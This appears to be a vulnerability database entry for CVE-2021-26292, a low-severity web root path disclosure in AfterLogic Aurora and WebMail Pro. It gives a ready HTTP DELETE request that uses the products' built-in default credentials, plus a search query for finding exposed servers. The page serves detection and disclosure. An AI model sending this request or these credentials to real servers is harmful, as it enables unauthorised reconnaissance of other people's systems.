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CVE-2021-26292: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure

TitleAfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure
Authorjohnk3r
SeverityLow
ImpactAttackers using hardcoded credentials can obtain the web root path, potentially aiding in further attacks.
RemediationUpgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.
CVE IDCVE-2021-26292
Fofa QueryX-Server: AfterlogicDAVServerx-server: afterlogicdavserver
Tags cve2021 cve afterlogic path disclosure AfterLogic vuln

🔍 Vulnerability Description

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.

🌐 HTTP Request

DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26292.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26292.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A